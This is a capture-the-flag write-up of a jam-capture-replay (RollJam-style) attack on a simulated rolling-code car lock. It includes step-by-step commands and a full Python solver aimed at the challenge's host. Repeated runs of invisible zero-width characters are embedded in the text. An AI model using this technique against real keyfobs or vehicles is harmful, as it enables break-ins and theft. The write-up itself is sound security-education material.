← Back to Writeups
CUSTOMMediumNetwork

Saltlock Drift

XESXOR9/2/20263 min read
#network#custom#medium#rolljam_attack#rolling_code_desynchronization#frame_capture_and_replay

Saltlock Drift

Platform: CACTF2026 | Category: Network | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-07-28 | Status: Solved Techniques: rolljam_attack, rolling_code_desynchronization, frame_capture_and_replay

Summary

Task: A web-controlled vehicle lock and a raw RF-433 service expose rolling-code keyfob traffic and channel jamming. Solution: Jam one physical unlock, capture its unused frame, disable jamming, and replay it to the receiver.

Saltlock Drift — CACTF2026

Description

Stormbound outriders recovered a salt crusted gatecar outside the Sunken Causeway. Its remote lock still listens across a shared band that the wardens use during convoy checks. Reach the channel, study the signals, and reveal the token through a replay attack.

The challenge provided two TCP services on the same host. One exposed the car and physical keyfob through HTTP, while the other represented a shared 433.920 MHz OOK radio channel. The goal was to unlock the car by replaying a valid keyfob transmission. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

Port 30371 served an HTTP interface identified as SaltlockHTTP/1.0 Python/3.12.13. Its relevant endpoints were:

  • GET /api/state — return the lock, jammer, receiver counter, signal history, and recent events.
  • POST /api/fob with {"button":"lock"} or {"button":"unlock"} — press the physical keyfob.

Port 32131 exposed the raw RF service. Its banner listed HELP, STATUS, JAM ON, JAM OFF, TX <hex>, and QUIT. Physical keyfob transmissions appeared on this connection as RX ... raw=<hex> lines. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The key observation was that jamming affected the receiver but did not prevent the shared-channel service from showing the transmitted frame. A physical button press advanced the keyfob's rolling counter. With the jammer enabled, however, the car reported CAR MISS ... reason=channel_jammed, so its receiver counter did not advance. This created the required state divergence: the attacker possessed a valid next rolling code that the receiver had never consumed.

This is a RollJam-style state-desynchronization attack, not packet cryptanalysis. A frame that the receiver has already accepted becomes stale, so replaying an ordinary consumed frame does not work. No timestamp manipulation, nonce or salt recovery, decryption, or MAC forgery was necessary. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

  1. Connect to the RF service and disable jamming.
  2. Press the physical lock button through the HTTP API. This establishes a known locked baseline and synchronizes the receiver with a normally consumed keyfob frame.
  3. Enable the channel jammer with JAM ON.
  4. Press the physical unlock button. The RF service displays the raw frame, but the car misses it because the channel is jammed.
  5. Capture the unused frame AAAAAAAA2DD4534C5402111071DF8FD14579 from the RX line.
  6. Disable jamming with JAM OFF.
  7. Send TX AAAAAAAA2DD4534C5402111071DF8FD14579 on the RF service.
  8. The receiver accepts counter 4368 from the attacker and reports result=exploit_unlock. Querying /api/state confirms unused rolling code replay accepted and returns the challenge token. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The following solver automates the complete sequence. Its console output deliberately redacts the recovered token.

python
#!/usr/bin/env python3
import json
import re
import socket
import time
import urllib.request

HOST = "154.57.164.83"
RF_PORT = 32131
WEB = f"http://{HOST}:30371"


def api(path, data=None):
    body = None if data is None else json.dumps(data).encode()
    request = urllib.request.Request(
        WEB + path,
        data=body,
        headers={"Content-Type": "application/json"} if body else {},
        method="POST" if body else "GET",
    )
    with urllib.request.urlopen(request, timeout=5) as response:
        return json.loads(response.read())
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍


def drain(sock, duration=1.0):
    end = time.time() + duration
    output = b""
    while time.time() < end:
        try:
            chunk = sock.recv(65535)
            if not chunk:
                break
            output += chunk
        except socket.timeout:
            pass
    text = output.decode(errors="replace")
    if text:
        print(text, end="" if text.endswith("\n") else "\n")
    return text


def command(sock, value, wait=0.8):
    print(f"> {value}")
    sock.sendall(value.encode() + b"\n")
    return drain(sock, wait)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍


with socket.create_connection((HOST, RF_PORT), timeout=5) as sock:
    sock.settimeout(0.15)
    drain(sock)

    command(sock, "JAM OFF")
    api("/api/fob", {"button": "lock"})
    drain(sock)

    command(sock, "JAM ON")
    api("/api/fob", {"button": "unlock"})
    capture = drain(sock, 1.5)
    frames = re.findall(r"\braw=([0-9A-Fa-f]+)", capture)
    if not frames:
        raise SystemExit("No RF frame captured")

    frame = frames[-1]
    command(sock, "JAM OFF")
    result = command(sock, f"TX {frame}", wait=1.5)
    state = api("/api/state")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    if "result=exploit_unlock" not in result:
        raise SystemExit("Replay was not accepted")
    serialized = json.dumps(state)
    if not re.search(r"[A-Za-z0-9_]+\{[^{}\r\n]+\}", serialized):
        raise SystemExit("Token was not disclosed")
    print("Exploit succeeded; token: HTB{REDACTED}")

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍